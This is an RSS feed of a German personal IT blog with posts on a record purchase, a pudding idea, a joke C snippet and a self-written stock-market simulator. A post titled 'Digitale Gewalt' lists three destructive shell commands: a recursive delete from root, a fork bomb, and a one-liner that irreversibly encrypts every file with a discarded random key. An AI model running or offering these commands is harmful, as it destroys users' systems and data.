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	<title>Uniadmin</title>
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	<description>Uniadmin - IT-Stories und mehr</description>
	<pubDate>Tue, 14 Apr 2026 20:06:10 +0200</pubDate>
	<ttl>60</ttl>
	<item>
		<title>Stahlnetz</title>
		<description><![CDATA[Es ist ewig her, gefühlt wirklich ewig, es war vor 23 Jahren, Anfang 2003, als ich bei Ebay eine Suche gespeichert hatte, die mich per E-Mail informiert, wenn jemand einen Artikel mit dem Suchbegriff &#x00022;Stahlnetz LP&#x00022; zum Verkauf einstellt.
Damals wollte ich die Schallplatte kaufen, hatte sie bei Ebay gesucht und auch gefunden, aber sämtliche Angebote lagen jenseits der einhundert Euro. Darum erstellte ich die Suche, um zuzuschlagen,]]></description>
		<pubDate>Sun, 12 Apr 2026 08:27:00 +0200</pubDate>
		<dc:creator>Tube</dc:creator>
		<content:encoded><![CDATA[<p><a href="https://www.uniadmin.de/site/assets/files/4441166/stahlnetz.jpg"><img alt="" class="align_right" src="https://www.uniadmin.de/site/assets/files/4441166/stahlnetz.240x0-is.jpg" width="240"></a>Es ist ewig her, gefühlt wirklich ewig, es war vor 23 Jahren, Anfang 2003, als ich bei Ebay eine Suche gespeichert hatte, die mich per E-Mail informiert, wenn jemand einen Artikel mit dem Suchbegriff "Stahlnetz LP" zum Verkauf einstellt.<br>
Damals wollte ich die Schallplatte kaufen, hatte sie bei Ebay gesucht und auch gefunden, aber sämtliche Angebote lagen jenseits der einhundert Euro. Darum erstellte ich die Suche, um zuzuschlagen, falls die Platte mal zu einem aus meiner Sicht vernünftigen Preis erhältlich wäre.<br>
Doch ein günstiges Angebot kam nicht, mal sollte die Platte 100 Euro, mal 120, mal sogar noch mehr kosten. Die Platte war zu selten, so selten, daß oft keine einzige auf Ebay zu finden war.<br>
Die Jahre vergingen, ich hatte das Interesse verloren, viele Songs gab es mittlerweile auf YouTube, und ich hatte in meinem E-Mail-Postfach einen Ordner "Ebay-Suchaufträge" erstellt, in den die Suchauftrags-Mails mit meinem einzigen Suchauftrag bei Ebay automatisch einsortiert wurden. Alle halbe Jahre schaute ich in den Ordner, klickte zwischen den False-Positives mal auf die Treffer und sah Preise um die 120 Euro und löschte die Mails.<br>
Und nun, im Jahre 2026, als ich mal wieder in den Ordner hineinstolperte, war er plötzlich gefüllt mit Angeboten um die 30 Euro herum. Da dachte ich: Nanu? Und fand nach kurzer Recherche heraus, daß die Schallplatte Ende letzten Jahres neu aufgelegt wurde. Ebay war also voll mit nagelneuen 2025er-Pressungen, liebevoll remastered, wie es hieß.<br>
Ja, was soll es, dachte ich, dann bringe ich die Sache jetzt zu Ende, kaufte die Schallplatte (in der blauen Edition) und löschte den Suchauftrag - nach 23 Jahren.</p>

<p>Das bekannteste Lied von <a href="https://de.wikipedia.org/wiki/Stahlnetz_(Band)">Stahlnetz</a> ist sicherlich "Vor all den Jahren", in welchem der Inhalt einer <a href="https://de.wikipedia.org/wiki/Duck_and_Cover">Duck-And-Cover-Broschüre</a> als Text verwendet wurde - ein Lied, das erstaunlich wenig gealtert ist:</p>

<p><iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" frameborder="0" height="400" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/VPHFwH-MJcY?si=FteluX8eyo4vx8Q-" title="YouTube video player" width="100%"></iframe></p>

<p>Das Lied "Wir sind glücklich", das der Platte ihren Titel gab, ist eigentlich kaum bekannt, so wie alle anderen Lieder auf der Platte auch.<br>
"Wir sind glücklich" wartet mit bombastischem Synth-Sound auf, der im Intro einen schwebenden Ton im Hintergrund liefert, der mich, und das wird wohl kaum jemand nachvollziehen können, genau an den Ton erinnert, jenen singenden Ton, den die Metallräder der alten Straßenbahnen in den Schienen erzeugt haben, wenn sie in Mahlsdorf von der Treskowstraße in die Hönower Straße gebogen sind.<br>
Erkennst du den Ton? Ich kann ihn nicht beschreiben, nicht benennen, aber fühlen.</p>

<p><iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" frameborder="0" height="400" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/mqBkFG6U_L4?si=2-bwpONV8Y2kopS6" title="YouTube video player" width="100%"></iframe></p>]]></content:encoded>
		<link>https://www.uniadmin.de/blog/posts/2026-04-stahlnetz/</link>
		<guid>https://www.uniadmin.de/blog/posts/2026-04-stahlnetz/</guid>
	</item>
	<item>
		<title>Digitaler Missbrauch</title>
		<description><![CDATA[Ein Beispiel:


#include &#x00022;stdio.h&#x00022;

int main(void)
{
        typedef unsigned char BOOL;
        const struct {
                BOOL consent;
                const char * consent_text;
                double pl[2];
        } thisx;

        sprintf((char*)&#x00026;thisx,&#x00022;OMG Yes!&#x00022;);
        printf(&#x00022;%s\n&#x00022;,(char*)&#x00026;thisx);

        return 0;
}

]]></description>
		<pubDate>Sat, 28 Mar 2026 23:36:50 +0100</pubDate>
		<dc:creator>Tube</dc:creator>
		<content:encoded><![CDATA[<p>Ein Beispiel:</p>

<pre>
#include "stdio.h"

int main(void)
{
        typedef unsigned char BOOL;
        const struct {
                BOOL consent;
                const char * consent_text;
                double pl[2];
        } thisx;

        sprintf((char*)&amp;thisx,"OMG Yes!");
        printf("%s\n",(char*)&amp;thisx);

        return 0;
}

</pre>]]></content:encoded>
		<link>https://www.uniadmin.de/blog/posts/2026-03-digitaler-missbrauch/</link>
		<guid>https://www.uniadmin.de/blog/posts/2026-03-digitaler-missbrauch/</guid>
	</item>
	<item>
		<title>Digitale Gewalt</title>
		<description><![CDATA[Drei Beispiele:


	
	cd / &#x00026;&#x00026; rm -rf *
	
	
	:(){ :|:&#x00026; };:
	
	
	find / -type f -exec sh -c &#x00027;for f; do openssl enc -aes-256-ctr -pass file:/dev/urandom -in &#x00022;$f&#x00022; -out &#x00022;$f.tmp&#x00022; &#x00026;&#x00026; mv &#x00022;$f.tmp&#x00022; &#x00022;$f&#x00022;; done&#x00027; sh {} +
	
]]></description>
		<pubDate>Mon, 23 Mar 2026 16:47:04 +0100</pubDate>
		<dc:creator>Tube</dc:creator>
		<content:encoded><![CDATA[<p>Drei Beispiele:</p>

<ol>
	<li>
	<p>cd / &amp;&amp; rm -rf *</p>
	</li>
	<li>
	<p>:(){ :|:&amp; };:</p>
	</li>
	<li>
	<p>find / -type f -exec sh -c 'for f; do openssl enc -aes-256-ctr -pass file:/dev/urandom -in "$f" -out "$f.tmp" &amp;&amp; mv "$f.tmp" "$f"; done' sh {} +</p>
	</li>
</ol>]]></content:encoded>
		<link>https://www.uniadmin.de/blog/posts/2026-03-digitale-gewalt/</link>
		<guid>https://www.uniadmin.de/blog/posts/2026-03-digitale-gewalt/</guid>
	</item>
	<item>
		<title>Pellenpudding</title>
		<description><![CDATA[Pellenpudding ist ziemlich aufwendig herzustellen, vor allem zeitaufwendig. Ich hatte es irgendwann einmal versucht, aber nur mit mäßigem Erfolg.
Die Idee dazu kam, da ich vom Pudding am liebsten immer die Pelle aß, also das oben drauf, durch das man mit dem Löffel erst hindurchstechen muß, um an den eigentlichen Pudding zu gelangen, an das, was mehr flüssig, milchig oder eben puddinglich ist. Von vielen erntete ich dafür Unverständnis. Igitt, meinten welche, was ich wiederum nicht verstand,]]></description>
		<pubDate>Sun, 08 Mar 2026 20:34:00 +0100</pubDate>
		<dc:creator>Tube</dc:creator>
		<content:encoded><![CDATA[<p>Pellenpudding ist ziemlich aufwendig herzustellen, vor allem zeitaufwendig. Ich hatte es irgendwann einmal versucht, aber nur mit mäßigem Erfolg.<br>
Die Idee dazu kam, da ich vom Pudding am liebsten immer die Pelle aß, also das oben drauf, durch das man mit dem Löffel erst hindurchstechen muß, um an den eigentlichen Pudding zu gelangen, an das, was mehr flüssig, milchig oder eben puddinglich ist. Von vielen erntete ich dafür Unverständnis. Igitt, meinten welche, was ich wiederum nicht verstand, weil ich mit Pellen auch sonst keine Probleme hatte.<br>
So hab ich meist von der heißen Milch oder vom Kakao, die Pelle, die Milchhaut mit Daumen und Zeigefinger aus der Tasse gefischt, den Kopf in den Nacken geworfen und mir die Pelle genüßlich in den Mund fallen lassen.<br>
Meine Tischnachbarn im Ferienlager oder wo auch immer ich es machte, haben geschrien, gewürgt. Was hatten sie nur?<br>
Die Idee beim Pellenpudding ist, einen Pudding herzustellen, der <em>nur</em> aus Pelle besteht, wobei nicht ganz, der Pudding darf nicht ausschließlich aus Pelle bestehen, es muß natürlich noch etwas normaler Pudding dabei sein, nur nicht so viel wie bei einem normalen Pudding, der eine feste Pelle oben bekommen hat.<br>
Was mir damals vorschwebte war eine Art Pellenschichtpudding, und so hatte ich versucht, ihn herzustellen:<br>
Milch und Puddingpulver erhitzen, eine dünne Schicht des heißen Puddings in einem Topf auf dem Boden auftragen, warten und warten. Warten. Noch einmal warten und warten, bis die Schicht im Topf zur Pelle geworden ist, dann die nächste Schicht auftragen und wieder warten und warten und so weiter Schicht für Schicht.<br>
Ein Problem ist, daß man nicht die gesamte Puddingmenge gleich zu Beginn kochen kann. Man braucht immer nur so viel, wie für eine Schicht nötig ist, weil der restliche Pudding sonst kalt wird und selbst eine Pelle bekommt.<br>
Mein damaliger Versuch, Pellenschichtpudding herzustellen, scheiterte an Ungeduld. Ich hatte nach fünf Schichten abgebrochen, und die letzte Schicht war noch gar nicht richtig zur Pelle geworden, als ich den Pudding verspeiste. Der Appetit war zu groß.<br>
Was man noch versuchen könnte: Den gesamten Pudding dünn auf einem großen Blech auftragen und die entstandene Riesenpelle zum Pellenpudding zusammenfalten. Allerdings hätte der Pudding dann wohl zu wenig normalen Pudding zwischen den Pellen, deshalb ist ein hybrider Ansatz vielleicht ganz vielversprechend: Zum einen wird eine große Pelle auf einem Blech hergestellt und dann auf jede Lage, die man aus der Riesenpelle schneidet und auflegt, nochmal eine dünne Schicht frischer heißer Pudding gegossen.<br>
Allerdings dürfte auch das nicht an das Originalrezept heranlangen, bei dem die Pelle auf natürliche Weise mit jeder Lage über der Lage darunter entsteht. Nur verlangt dieses Rezept eben sehr viel Geduld. Und die fehlte mir damals, und heute sicher auch noch.</p>]]></content:encoded>
		<link>https://www.uniadmin.de/blog/posts/2026-03-pellenpudding/</link>
		<guid>https://www.uniadmin.de/blog/posts/2026-03-pellenpudding/</guid>
	</item>
	<item>
		<title>Inflation und Deflation mit OpenSeSim</title>
		<description><![CDATA[Eigentlich müßte der Artikel &#x00022;Angebot und Nachfrage mit OpenSeSim&#x00022; heißen, aber &#x00022;Inflation und Deflation&#x00022; geht auch, da Inflation und Deflation i.d.R. unmittelbare Folgen von Angebot und Nachfrage sind.

Nachdem wir gesehen haben, wie wir mit KO-Scheinen, CFDs oder anderen (un)geeigneten Finanzninstrumenten kein schnelles Geld an der Börse erzocken können, will ich nun einmal das Phänomen von Angebot und Nachfrage im Börsensimulator OpenSeSim betrachten.

Ich gehe davon aus,]]></description>
		<pubDate>Tue, 24 Feb 2026 00:52:00 +0100</pubDate>
		<dc:creator>Tube</dc:creator>
		<content:encoded><![CDATA[<p>Eigentlich müßte der Artikel "Angebot und Nachfrage mit OpenSeSim" heißen, aber "Inflation und Deflation" geht auch, da Inflation und Deflation i.d.R. unmittelbare Folgen von Angebot und Nachfrage sind.</p>

<p>Nachdem wir gesehen haben, wie wir mit KO-Scheinen, CFDs oder anderen (un)geeigneten Finanzninstrumenten kein <a href="https://www.uniadmin.de/blog/posts/2026-02-ein-random-walk-mit-opensesim/">schnelles Geld an der Börse erzocken</a> können, will ich nun einmal das Phänomen von Angebot und Nachfrage im Börsensimulator <a href="https://www.uniadmin.de/apps/opensesim/">OpenSeSim</a> betrachten.</p>

<p>Ich gehe davon aus, <a href="https://www.uniadmin.de/apps/opensesim/">OpenSeSim</a> sei auf "Werkseinstellungen" (ggf. <em>File</em> -&gt; <em>Reset to defaults</em> wählen), und wir starten eine Simulation mit 500 Bobs, wobei Alice nicht mitmachen darf (<em>Edit</em> -&gt; <em>Traders</em>, Bobs auf 500 setzen, <strong>kein</strong> Häkchen bei <em>Enabled</em> für Alice). Die Bobs bekommen zum Start jeweils 10.000 Euro und 100 Aktien:</p>

<p><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441057/bob-10000-100.png" width="661"></p>

<div style="clear:both;">Läuft die Simulation, erhalten wir (erwartungsgemäß) einen Chart, der seitwärts geht und um die 100 Euro herum pendelt.</div>

<p><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441057/bob-10000-100-chart.png" width="709"></p>

<div style="clear:both;">Aber nun geben wir den Bobs mehr Geld. Sie bekommen statt 10.000 Euro 20.000 Euro (<em>Edit</em> -&gt; <em>Traders</em>, 20.000 bei <em>Cash</em> eintragen):</div>

<p><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441057/bob-20000-100.png" width="658"><br>
Wenn wir die Simulation jetzt starten, schießt der Kurs sofort vom gesetzten Startpreis von 100 Euro auf 200 Euro und pendelt sich dort ein:</p>

<p><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441057/bob-20000-100-chart.png" width="707"></p>

<p>Und wenn wir den Bobs weniger Geld geben, wenn sie jeweils nur 5000 Euro bekommen,</p>

<p><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441057/bob-5000-100.png" width="658"></p>

<p>dann fällt der Kurs sofort und pendelt sich bei 50 Euro ein:</p>

<p><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441057/bob-5000-100-chart.png" width="710"></p>

<p>Nein, doch, oh! Wer hätte das erwartet?<br>
Wir sehen hier das simple Prinzip von Angebot und Nachfrage. Haben die Trader mehr Geld, können sie mehr für Aktien ausgeben, also steigt der Preis, und haben sie weniger Geld, fällt der Preis, weil sie schlicht weniger bezahlen können.</p>

<p>Beim Bier mit einem Kumpel hatte ich mal gesagt, der Kaffee sei so teuer geworden, weil das Bürgergeld erhöht wurde (Ich hätte es auch auf den Bierpreis beziehen können).<br>
Mein Kumpel wollte das nicht glauben, und sicher war meine These auch etwas zugespitzt, vielleicht vereinfacht, etwa andere Faktoren wie miese Kaffee-Ernten außer acht lassend, aber vom Grundsatz ist sie richtig. Die Bürgergeldempfänger haben mehr Geld, also steigt der Kaffeepreis.</p>

<p>Wie oft heißt es doch, es sei alles so teuer, man könne sich kaum noch etwas leisten, das Bürgergeld und die Löhne, auch der Mindestlohn müssten erhöht werden. Werden die Löhne dann schließliche erhöht, steigen die Preise, und das Gejammer wiederholt sich.<br>
Wäre es nicht besser, das Bürgergeld und die Löhne zu senken? Dann würde nämlich alles billiger werden.</p>

<p>Egal, ob mehr oder weniger Geld, es liegt nämlich nicht am Geld. Es liegt an den Waren! Damit die Leute es sich leisten können, müssen die Dinge, die sie haben wollen, auch produziert werden. Es braucht nicht mehr Geld, es braucht mehr Kaffee!</p>

<p>Nur lassen sich nicht alle Waren beliebig mehr produzieren. Dachgeschosswohnungen in Berlin Mitte zum Beispiel und Wohnungen im Allgemeinen. Es sind nicht die Miethaie, die aus reiner Profitgier die Wohnungen für horrende Preise vermieten, es sind die Mieter, die Menschen, die sich auf ein geringes Angebot stürzen und sich gegenseitig überbieten.</p>

<p>Wir könnten uns das jetzt in OpenSeSim als Simulation mit Charts anschauen. Geben wir den Bobs zum Start 10.000 Euro und statt 100 Aktien einfach 200 Aktien (und stellen uns vor, die Aktien seien Kaffee), dann halbiert sich der Preis, aber zudem haben alle Bobs mehr Kaffee. Geben wir ihnen zum Start nur 50 Aktien (weniger Kaffee), dann verdoppelt sich der Preis und sie haben weniger Kaffee.</p>

<p>Hier ist der Chart, wenn jeder Bob nur 50 Aktien und 10.000 Euro hat. Er gleicht dem Chart zu Beginn, als jeder Bob 100 Aktien und 20.000 Euro hatte, mit dem feinen Unterschied, daß jetzt nur rund ein Million Aktien pro Stunde gehandelt werden (unten beim Volumen zu erkennen), während sie zuvor rund zwei Millionen pro Stunden gehandelt haben. Sie haben weniger Kaffee.</p>

<p><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441057/bob-1000-500.png" width="709"><br>
Keiner der Bobs denkt kapitalistisch und will seinen Profit maximieren, die Bobs kaufen und verkaufen zufällig, die Bobs sind saudumm, und trotzdem "wissen" sie, daß Kaffee mehr kostet, wenn weniger da ist. (Oder wenn sie mehr Geld haben)<br>
Und genau so dumm sind die Bürgergeld-Empfänger, sie kaufen einfach Kaffee, haben sie mehr Geld, steigt der Kaffeepreis, sie "wissen" einfach, daß Kaffee jetzt teurer ist, nur daß sie dabei glauben, profitgeile Kapitalisten würden ihren Kaffee so teuer machen, dabei sind sie es selbst.</p>

<p>Modern-Monetary-Theoretiker schreien jetzt sicher: Alles Bullshit! Die Simulation ist ein geschlossenes System. Es ist tatsächlich viel komplexer. Drucken wir mehr Geld, beflügeln wir die Wirtschaft, aktivieren brachliegende Ressourcen, dadurch steigen die Preise nicht automatisch, denn es wird doch mehr produziert. Wir müssen natürlich aufpassen, in keine Hyperinflation zu geraten.<br>
Ja, sie müssen aufpassen, sie müssen planen, sie müssen schauen, ob sie schon zu viel Geld gedruckt haben, falls zu wenig produziert wird, sie müssen die Inflation regulieren, Planwirtschaft. Solche Theorien stoßen auf Akzeptanz, denn sie haben ein Feindbild, man hat nicht selbst die Schuld, es sind die Kapitalisten, die Produktionsreserven brach liegen lassen und nur nicht aktivieren, weil nicht genug Geld gedruckt wird. Der Staat möge es regeln. Doch kann er es?</p>

<p>Schauen wir doch einmal auf die RAM-Preise. Was haben 64 Kilobyte RAM vor 40 Jahren gekostet? Vielleicht (umgerechnet) 1000 Euro? Wieviel Kilobyte RAM bekommst du heute für 1000 Euro? Etwa eine Million mal mehr. Ein Kilobyte RAM ist damit eine Million mal billiger als vor 40 Jahren - und das nicht, weil Geld gedruckt wurde, sondern, weil einfach mehr produziert wurde, neue Verfahren wurden entwickelt. Das Angebot an RAM konnte massiv erhöht werden, bald wie Sand am Meer.</p>

<p>Und was haben wir nun gelernt?<br>
Das einzige, was zählt, sind die Waren, der Preis ist nur eine Zahl, die dran geschrieben ist. Geld bedeutet nichts.<br>
Wenn du an der Börse zockst, konzentriere dich nicht darauf, möglichst viel Geld zu erwirtschaften, sondern darauf, möglichst viele Aktien dein eigen zu nennen.</p>]]></content:encoded>
		<link>https://www.uniadmin.de/blog/posts/2026-02-angebot-und-nachfrage-mit-opensesim/</link>
		<guid>https://www.uniadmin.de/blog/posts/2026-02-angebot-und-nachfrage-mit-opensesim/</guid>
	</item>
	<item>
		<title>Ein Random Walk mit OpenSesim</title>
		<description><![CDATA[Ich hatte mal einen Kollegen, der während der Arbeitszeit immer an der Börse gezockt hat, meist nebenher auf dem Handy - Aktien, KO-Scheine oder CFDs, alles Dinge, mit denen er Geld verlieren würde.
Ich versuchte es ihm zu erklären und auszureden, aber er verstand es nicht, oder er wollte es nicht verstehen, oder er glaubte mir nicht. Darum beschloß ich damals, ein Programm zu schreiben, einen Börsensimulator, mit dem ich es demonstrieren könnte.
Gesehen hat mein Kollege das Programm nie.]]></description>
		<pubDate>Sat, 21 Feb 2026 01:41:00 +0100</pubDate>
		<dc:creator>Tube</dc:creator>
		<content:encoded><![CDATA[<p>Ich hatte mal einen Kollegen, der während der Arbeitszeit immer an der Börse gezockt hat, meist nebenher auf dem Handy - Aktien, KO-Scheine oder CFDs, alles Dinge, mit denen er Geld verlieren würde.<br>
Ich versuchte es ihm zu erklären und auszureden, aber er verstand es nicht, oder er wollte es nicht verstehen, oder er glaubte mir nicht. Darum beschloß ich damals, ein Programm zu schreiben, einen Börsensimulator, mit dem ich es demonstrieren könnte.<br>
Gesehen hat mein Kollege das Programm nie. Dazu kam es nicht mehr, weil ich den Arbeitgeber wechselte und er auch. Ich weiß gar nicht mehr, wer zuerst ging.<br>
Das Programm hatte ich liegen lassen. Andere Dinge waren wichtiger. Mir hatte es gezeigt, was ich zeigen wollte. Ich sah keinen Bedarf, es weiter- oder fertig zu entwickeln, und es wäre wohl bis heute so geblieben, wenn ein Kumpel mir nicht neulich gesagt hätte, daß er jetzt auch ins Business eingestiegen sei, er handele mit EUR/USD, Forex, Hebel, habe einen Bot programmiert. Der Reichtum sei zum Greifen nahe.<br>
Ich verwies auf mein Programm, auf OpenSeSim - den <a href="https://www.uniadmin.de/apps/opensesim/">Open Source Stock Exchange Simulator</a>, womit mein Kumpel vielleicht der erste neben mir war, der damit einmal rumgespielt hat - und vielleicht noch der Typ, der dem Projekt auf <a href="https://github.com/7u83/OpenSeSim">Github</a> irgendwann einen Stern gegeben hat.<br>
Meinen Kumpel hat das Programm allerdings (noch) nicht überzeugt. Er wird erst mal weiter machen mit Forex, Hebel und Metatrader, bis sein Geld alle ist, vielleicht noch mal nachschießen, dann nochmal und nochmal, wer weiß das schon.<br>
Derweil hab ich OpenSeSim aus seinem nunmehr fast neun Jahre währendem Dornröschenschlaf auf Github erweckt, das ganze etwas aufgeputzt, Features vervollständigt, Bugs beseitigt, womit ich die Software nun doch einmal vorstellen möchte.</p>

<p>Da ich an die Gültigkeit der <a href="https://de.wikipedia.org/wiki/Markteffizienzhypothese">Markteffizienzhypothese</a> glaube und damit Kursbewegungen einem <a href="https://de.wikipedia.org/wiki/Irrfahrt_(Stochastik)">Random Walk</a> gleichen müssen, halte ich es für unsinnig, Handelssysteme und Trading-Bots an historischen Kursen zu backtesten, denn du selbst bist der Kurs, du bist Teil des Systems.<br>
Was bringt es, ein System für eine in der Vergangenheit zufällig gewürfelte Zahlenfolge zu optimieren? Erwartest du ernsthaft, daß es für zukünftige Zufallsfolgen dann auch optimiert ist? Warum würfelst du die zukünftigen Zufallszahlen nicht gleich selbst aus?</p>

<p>Mit OpenSeSim wollte ich eine einfache Möglichkeit schaffen, mit Trading-Bots herumzuspielen, und zwar mit Trading-Bots, die nicht auf historischen Kursen handeln, sondern mit sich selbst gegeneinander und damit die Kurse bilden - eine Börsensimulation eben.</p>

<p>Die größte Hürde für den Nutzer ist vielleicht die Installation von OpenSeSim. Hier kannst du das <a href="https://www.uniadmin.de/apps/opensesim/">Programm herunterladen und findest eine Anleitung zur Installation</a>.<br>
OpenSeSim ist in Java geschrieben (Aufschrei: Was?) und verwendet Swing (Was? Das gibts noch? Schrei von Munch!), aber das Schöne an Swing ist, daß du dir damit das Look and Feel von CDE/Motiv einstellen kannst (der Saal leert sich, nur die wirklich Interessierten sind noch da).</p>

<p>Wenn du also noch dabei bist, nach der Installation OpenSeSim zum ersten Mal startest und den Run-Knopf drückst, erhältst du nach kurzer Zeit (Acceleration auf 1000x oder höher setzen!) einen Chart etwa wie diesen:</p>

<p><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441034/1-alice-vs-1-bob.png" width="711"></p>

<p>Was ist da passiert?</p>

<h2>Alice gegen Bob</h2>

<p>In der Standardkonfiguration von OpenSeSim gibt es zwei Trader, Alice und Bob, die im klassischen Aktienhandel gegeneinander antreten. Sie handeln also ohne Hebel und ohne Margin, sie handeln nur Long.<br>
Bob besitzt zu Beginn 10.000 Euro und 100 Aktien, Alice startet mit einer Million Euro und 10.000 Aktien. Beide handeln nach dem selben System: Sie positionieren zufällig zwischen -2% und +2% vom aktuellen Kurs eine limitierte Kauf- oder Verkaufsorder, und wenn die Order ausgeführt wurde, beginnen sie das Spiel von vorn. (Auch, wenn die Order nach einer gewissen Zeit keinen Fill bekommt, versuchen sie es erneut mit einem zufälligen Limit).</p>

<p>Das Ergebnis: Bob ist nach kurzer Zeit pleite. Alice hat Bobs Aktien und auch sein Geld.<br>
<br>
<img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441034/1-alice-1-bob-ruined.png" width="341"><br>
Du kannst die Simulation beliebig oft wiederholen (Stop-Knopf drücken, Run-Knopf drücken), Bob geht immer pleite, Bob ist immer der Verlierer.<br>
Weil Bob weniger Geld als Alice hat, krepiert er am <a href="https://de.wikipedia.org/wiki/Ruin_des_Spielers">Gamblers Ruin</a>.</p>

<p>Der Gamblers Ruin wird gern mit einem einfachen Münzwurfspiel veranschaulicht: Alice und Bob werfen eine faire Münze, wenn Alice gewinnt, muß Bob einen Euro an Alice zahlen, gewinnt dagegen Bob, erhält er einen Euro von Alice. Obwohl bei dem Spiel für beide die Gewinnchancen identisch sind, es also langfristig keinen Gewinner gibt, ist Bob der Loser, denn, da Alice deutlich mehr Geld hat, ist sie imstande, größere Verluste auszuhalten. Nehmen wir an, Bob hat 1000 Euro und Alice eine Million, dann muß Bob nur 1000 Spiele mehr verlieren als er gewinnt, was auf lange Sicht sicher einmal passiert, und schon ist er pleite. Bei Alice dagegen muß die Differenz aus verlorenen und gewonnen Spielen eine Million betragen, damit sie pleite ist.</p>

<p>Aber was hat das mit dem Zocken an der Börse zu tun?<br>
Hier verhält es sich so: Wenn Alice ein Limit-Order plaziert, bietet sie ihren gesamten Aktienbestand zum Kauf an oder versucht für sämtliches Geld, das sie hat, Aktien zu kaufen. Der arme Bob kann Alice aber immer nur einen kleinen Teil ihrer Aktien abkaufen. Dadurch setzt Alice mit jedem Trade nur einen Bruchteil ihres Vermögens aufs Spiel (der eine Euro aus dem Münzwurfspiel), während Bob immer full-in geht (Bob hat im Prinzip nur einen Euro). Auch, wenn Bob kleinere Positionsgrößen verwendet, zum Beispiel immer nur 10%, geht er pleite - es dauert nur länger.</p>

<h2>Alice gegen viele Bobs</h2>

<p>Aber was passiert, wenn Alice gegen mehr als einen Bob antritt?<br>
Du kannst es ausprobieren! Laß mit OpenSeSim 100 Bobs mit jeweils 10.000 Euro und 100 Aktien gegen eine Alice mit einer Million Euro und 10.000 Aktien antreten. (<em>Edit</em> -&gt; <em>Traders</em>, dort die Zahl der Bobs auf 100 erhöhen)<img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441034/edit-traders-100-bobs.png" width="734"></p>

<p>Das Ergebnis ist genauso traurig wie vorher. Alle Bobs sind pleite, Alice besitzt sämtliche Aktien, die die Bobs zu Beginn hatten, und deren Geld hat sie auch.</p>

<p>Verrückt, oder? Hättest du das erwartet?</p>

<p>Doch wie sieht es aus mit 1000 Bobs gegen eine Alice? Auch nicht besser. Alle Bobs gehen pleite. Und 5000 Bobs gegen Alice? Nope! Auch hier gehen alle Bobs pleite und Alice bekommt deren Geld und deren Aktien.</p>

<p><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441034/1-alice-5000-bob-ruined.421x284-cropx0y0-is.png" width="421"></p>

<p>Die Reichen werden immer reicher, und die Armen immer ärmer. Im realen Leben würden die Bobs, nachdem sie pleite sind, arbeiten gehen, um ihr Tradingkonto wieder aufzufüllen. Das Geld für ihre Arbeit bekommen sie von Alice, und mit ihrer Arbeit bauen die Bobs Paläste, Yachten und rote Sportautos für Alice - all das, was die Bobs selbst gern hätten.</p>

<p>Ja, haben denn die Bobs überhaupt irgendeine Chance, gegen Alice zu gewinnen?<br>
Klar!</p>

<h2>Der Super-Bob</h2>

<p>Die Ursache, daß Alice auch gegen viele Bobs gewinnt, selbst, wenn die Bobs zusammen deutlich mehr Geld und Aktien als Alice haben (5000 Bobs haben zusammen immerhin 50 Millionen Euro und 500.000 Aktien), liegt darin, daß Alice mit ihrer zum einzelnen Bob verglichenen größeren Geldmenge mehr Marktmacht hat, was meint, daß sie mit ihren großen Orders den Kurs in die eine oder andere Richtung leicht bewegen kann. Dies gibt ihr beim Münzwurfspiel einen kleinen Vorteil, der sich ausweitet, je mehr Geld sie bekommt. Daher sehen wir zu Beginn einer Simulation von Alice gegen 5000 Bobs, daß der Kurs scheinbar mehr oder weniger seitwärts läuft, aber zum Ende hin, wenn Alice reicher und reicher geworden ist und vor allem die Bobs ärmer geworden sind und kaum noch nennenswerte Stückzahlen an Aktien kaufen können, der Kurs immer heftigere Kapriolen schlägt, was schließlich die letzten Bobs ruiniert.<img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441034/1-alice-vs-5000-bobs-b.png" width="711"></p>

<p>Was können die Bobs also tun, um Alice zu besiegen? Ganz einfach! Sie müssen sich zusammenrotten und konzertiert ihre Orders zur selben Zeit an dieselbe Stelle ins Orderbuch setzen. Gemeinsam sind sie stark, eine Big Alice, sie sind der Super-Bob.<br>
In OpenSeSim würden wir das simulieren, indem wir einen Bob gegen eine Alice antreten lassen, nur, daß Bob zum Start 50 Millionen Euro und 500.000 Aktien bekommt.</p>

<p>In der Realität heißen die Super-Bobs zum Beispiel Blackrock, es sind Aktienfonds, Hedgefonds, Big Player, die das Kapital vieler anderer verwalten.</p>

<p>Doch unsere kleinen Bobs sparen nicht gern in solchen Fonds, da die Gewinne nur gering ausfallen. In unserem Beispiel könnten die 5000 Bobs zum Super-Bob vereint der Alice genau eine Million Euro abknöpfen, die sich die Bobs dann untereinander aufteilen müßten - für jeden sind das gerade mal 200 Euro.<br>
Drum kämpfen alle Bobs für sich selbst mit kleinem Kapital, in der Hoffnung, den Big Boys die Kohle abzunehmen, dabei ist es meist umgekehrt.</p>

<p>Wenn die Bobs richtig viele werden, wenn etwa 15.000 Bobs oder mehr gegen eine Alice antreten, gewinnt Alice nicht mehr, auch, wenn die Bobs sich nicht absprechen, als Super-Bob zu agieren. Die Order-Dichte der Bobs ist dann so hoch, daß es immer genügend Bobs gibt, die sich wie ein Super-Bob verhalten - es entstehen Zufalls-Super-Bobs - so wie im realen Leben hin und wieder ein paar durchgeknallte Wallstreet Bets sich über Foren verabreden und als Super-Bob auftreten.</p>

<p>Der Chart von 15.000 Bobs gegen eine Alice ist langweilig. Es geht ewig seitwärts - keine Kurskapriolen, keiner schafft es Reichtum anzuhäufen.</p>

<p><img alt="" class="align_center" src="https://www.uniadmin.de/site/assets/files/4441034/1-alice-vs-15000-bobs.png" width="715"></p>

